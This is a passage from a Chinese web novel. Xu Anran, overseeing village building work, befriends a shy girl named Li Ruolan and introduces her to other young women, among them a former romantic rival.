大家在吃完葱花饼后,便开始了上午的工作,两个人修缮屋顶,其余的八人则规划着建造厨房。大家都有经验,仔细研究了图纸后,便开始动工了。 大家吃了免费的葱花饼,干活自然更卖力。 徐安然自然也不闲着,她刚要忙活,便见到李花带着李若兰朝她走了过来。于是她放下手里的木头。 “安然,是不是打扰你了?” “没有没有,有什么事吗?” “这便是我女儿,叫她若兰就行,兰花的兰。她也想跟你一块干活,不用工钱,你带带她就行。” “不用……不用管我。”李若兰摇头说。 “啊?”徐安然有点没懂她的意思,不过还是拉着他的手,“这样吧,你跟我一起扫地?” 李若兰听到这,连忙点头:“好!” 徐安然将手上的扫帚递给她,自己又去角落拿了一把新的。 她在哪,李若兰就在哪,而且以一种十分崇拜的眼神看着她。 于是乎,她便没忍住说了。 “你不用一直跟着我的。” 李若兰没想到这会引起徐安然的反感,尴尬地红了脸,“我这样会给你带来困扰吗?对不起,我不跟着你了。” “倒也不是……哎算了,你随意吧。” 听见不是嫌她烦,李若兰重新回到她身边,“嗯!我没别的朋友,在这里只认识你。” 徐安然能理解她,索性也不再说什么了。 不过…… 倒是可以介绍其他朋友给她认识呀。 于是,徐安然叫来了李秀敏和李秀莲,她俩也在茶馆里帮忙,听见徐安然呼唤她们的声音,立刻就过来了。 小柔也在看着这边。 她今日是跟着父亲过来的,自从上次一起去镇上后,她便没再见过徐安然。 今日再次见到,发现徐安然变了好多,皮肤更好了,而且还胖了些,更明媚了。 见到她和周时的关系越来越近,她自知自己没机会了,本想悄悄离开,但却被李秀莲给拉了过去。 “走啊,安然叫我们呢。” “只是叫你和你姐姐,又没叫我。” “她不是看向我们这边喊的吗?也叫你呢。哎呀,做不成情敌可以做朋友的嘛。” 情敌……亏她还能说出这两个字。 确实做不成情敌,因为周时压根不给她任何示好的机会。 算了……除去周时,徐安然这个人还是很值得结交的。 所以她并没有挣脱李秀莲的手。 “来来来,给你们介绍一下,这是李花婶的女儿,若兰。” “我们知道,不过若兰妹妹平日不爱出门,我们好像……快一年没碰着面儿了吧?” 李若兰对待其他人不像徐安然这样自在,她悄悄往后迈了一步,站在徐安然的身后,轻轻点头,“嗯。” “那今日我们一起玩呀。” “嗯。”话虽应下了,但李若兰依旧站在徐安然的身后,并未移动半分。 见状,徐安然有些怀疑,是不是这么做让她尴尬了?